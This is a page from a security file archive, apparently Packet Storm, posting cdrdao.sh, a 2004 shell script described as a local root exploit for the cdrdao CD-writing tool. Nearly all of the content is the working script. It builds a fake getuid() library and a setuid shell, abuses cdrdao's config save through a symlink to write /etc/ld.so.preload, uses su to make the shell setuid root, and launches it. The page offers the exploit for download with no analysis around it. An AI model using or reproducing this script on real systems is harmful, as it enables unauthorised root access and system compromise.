what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

cdrdao.sh

cdrdao.sh
Posted Sep 9, 2004

Local root exploit for an old flaw in cdrdao.

tags | exploit, local, root
SHA-256 | 7b62a07fe0891df4fc0e3014cfbdf2c8764003d4f0e5182099154c912221cc2a

cdrdao.sh

Change Mirror Download


#!/bin/sh

DIR=`pwd`

echo ""

echo "cdrdao local root exploit - gr doesn't protect you this time"

echo "Karol Wiêsek <appelast*drumnbass.art.pl>"

echo ""

sleep 2

umask 000

echo -n "[*] Checking if /etc/ld.so.preload doesn't exist ... "

if [ -f /etc/ld.so.preload ]; then

echo "WRONG"

echo "/etc/ld.so.preload exists, write another exploit ;P"

exit

else

echo "OK"

fi

echo -n "[*] Checking if su is setuid ... "

if [ -u /bin/su ];then

echo "OK"

else

echo "WRONG"

exit

fi

echo -n "[*] Creating evil *uid() library ... "

cat > getuid_lib.c << _EOF

int getuid(void) {

return 0; }

_EOF

gcc -o getuid_lib.o -c getuid_lib.c

ld -shared -o getuid_lib.so getuid_lib.o

rm -f getuid_lib.c getuid_lib.o

if [ -f ./getuid_lib.so ]; then

echo "OK"

else

echo "WRONG"

fi

echo -n "[*] Creating suidshell ... "

cat > suid.c << _EOF

int main(void) {

setgid(0); setuid(0);

unlink("./suid");

execl("/bin/sh","sh",0); }

_EOF

gcc -o suid suid.c

rm -f suid.c

if [ -x ./suid ];then

echo "OK"

else

echo "WRONG"

exit

fi

echo -n "[*] Exploiting cdrdao ... "

ln -sf /etc/ld.so.preload $HOME/.cdrdao

if [ ! -L $HOME/.cdrdao ];then

echo "Could'n link to \$HOME/.cdrdao"

exit

fi

cdrdao unlock --save 2>/dev/null

>/etc/ld.so.preload

echo "$DIR/getuid_lib.so" > /etc/ld.so.preload

su - -c "rm /etc/ld.so.preload; chown root:root $DIR/suid; chmod +s $DIR/suid"

if [ -s ./suid ];then

echo "OK"

else

echo "WRONG"

exit

fi

rm -f getuid_lib.so

unlink $HOME/.cdrdao

echo "Entering rootshell ... ;]"

./suid



Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close